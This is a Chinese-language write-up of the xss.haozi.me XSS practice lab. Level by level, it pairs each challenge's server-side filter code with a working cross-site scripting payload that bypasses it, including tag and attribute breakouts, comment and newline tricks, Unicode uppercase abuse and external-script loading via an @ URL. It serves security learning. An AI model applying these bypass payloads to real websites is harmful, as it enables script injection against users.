xss.haozi.me靶场
有很多有意思的xss,记录下
目标:弹出带1的弹窗
0x00:直接注入js
注入恶意js直接执行
<script>alert('1')</script>
0x01:闭合标签
闭合textarea标签
</textarea><input onclick=alert('1')><textarea>
0x02:闭合属性
闭合input的value属性
" onclick=alert('1') "
闭合拼接后
<input type="name" value="" onclick=alert('1') "">
0x03:过滤了括号
服务器端代码
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}
可以利用``来替代括号
<script>alert`1`</script>
0x04:编码绕过
这次同时过滤了括号和`,考虑使用编码绕过,使用编码时内容必须在标签属性内,所以不能使用<script>
<input onclick="alert(1)">
0x05:注释符绕过
function render (input) {
input = input.replace(/-->/g, 'x_x')
return '<!-- ' + input + ' -->'
}
我们通常觉得注释符为<!-- -->,其实还可以<!-- -- !>
--!><script>alert(1)</script>
0x06:换行
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}
过滤auto(autofocus)、on开头=结尾(事件)、>(闭合标签)字符串,过滤十分强悍
比较有意思的是可以通过换行来绕过
onclick
=alert(1)
0x07:html容错性
这一关对正则表达式的掌握有较高的要求
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi;
input = input.replace(stripTagsRe, '');
return `<article>${input}</article>`;
}
/</?[^>]+>/gi含义:
- 最外面的//表示包含的正则,g表示所有,i表示不区分大小写
- /?表示可以左尖括号后可以出现0或1次/,表示标签的后半部分
- [^>]+>表示只匹配第一个>
所以整体的含义是过滤标签里的内容,eg:
这里我们利用的是html的容错性,标签的后尖括号不写,可以自动补齐
0x08:双写绕过
这关过滤掉了script的后半部分,但可以双写绕过(发现双写位置在右尖括号前面,只有这个地方)
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}
payload:
</style</style>>
<script>alert(1)</script>
看了其他人的wp:其实可以直接第一个要闭合的style标签右尖括号前加空格
0x09:指定特殊字符串+闭合属性
简单:payload
https://www.segmentfault.com" onerror=alert(1) "
0x0A:url跳转调用
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}
过滤掉了一大堆特殊字符,很难了
wp上说需要调用外部js:https://xss.haozi.me/j.js
payload:(谷歌不行,火狐可以)
https://www.segmentfault.com@xss.haozi.me/j.js
0x0B:大写处理
HTML大小写不敏感,js大小写敏感,js部分字母进行编码处理
<input onclick="alert(1)" >
0x0C:大写处理+过滤script
同上,直接加一个input或者img标签
0x0D:换行+注释符
过滤了<、"、'、等字符串,可以使用换行来绕过注释,-->来闭合
payload:
alert(1);
-->
0x0E:古英文字母
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
对包含尖括号的内容前面加个下划线,很像xss-labs里的类型,但是直接给在了h1标签中,很难绕过
既要考虑下划线又要考虑大写js无效
这题有点超纲,感觉针对性出题过强,不太现实,考察到了特殊字符: ſ (古英文, 拉丁文),大写是S,即能绕过下划线的添加,又能大写组成script
payload:
<ſcript src="https://www.segmentfault.com@xss.haozi.me/j.js"></script>
0x0F:事件执行js
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
return `<img src onerror="console.error('${escapeHtml(input)}')">`
}
这一关防御考虑的挺全面,但是和0x0A不同在于,拼接的内容到了标签事件中,即使被HTML转义编码了,最后也会被转为正确的,只要是写处出js执行代码即可,需要注意闭合引号和括号
');alert(1)('
0x10:变量赋值时执行表达式
这关直接window.data=alert(1),你可以去闭合,也可以直接赋给变量语句
可以尝试下这串代码,打开直接蹦弹窗
<script>
var a = alert(1);
</script>>
网上很多都是先闭合对a的赋值,再单独写个alert
我这种写法仔细分析了下,觉得能弹窗的原理很有意思
- 首先alert(1)是个表达式,它的值是undefined
- 其次var a=alert(1),是将表达式赋给一个变量,先计算等号右边表达式值,即为undefined,执行时就弹窗了
- 最后赋给a,a的值未undefined
流程如下
0x11:JS转义
借鉴了另一个靶场,过滤十分强悍
// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}
虽然过滤挺多,但是在js中转义无效,如//最后还是//,起到注释作用
payload:
"); alert(1); //
变成了
var url = 'javascript:console.log("\"); alert(1); \/\/")'
0x12:转义 转义符
比较有意思
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}
可以通过\\"来实现输出一个斜杠,因为转义符被转义,后面的直接js语句+注释
\"); alert(1) //
写在最后
学习过程中看到了美团的一篇关于XSS的文章https://tech.meituan.com/2018/09/27/fe-security.html
感慨啊,文章质量很不错,不愧是大公司下面的技术人员
文章最后给了几个国外写的靶场,很不错,这段时间练习下
这三四天一直再深入学习XSS漏洞,接触了不少靶场和练习。xss.haozi.me这个靶场给我的感觉是很有趣味性,绕过方式更加多样直观,既给出了输入窗口,有给出了拼接后的html页面代码,能够更好快速的分析绕过的方法,找到失败的原因;同时给出了源码,有利于更好地分析,在这个过程中对部分js代码函数有了更深的认识,比如replace、toUpperCase等,更多的是作者自己编写实现的过滤函数
整体特点:偏向编码,如HTML实体转义、JS编码、注释符等;对正则表达式有很多考察;题型多样具有一定连续性、知识丰富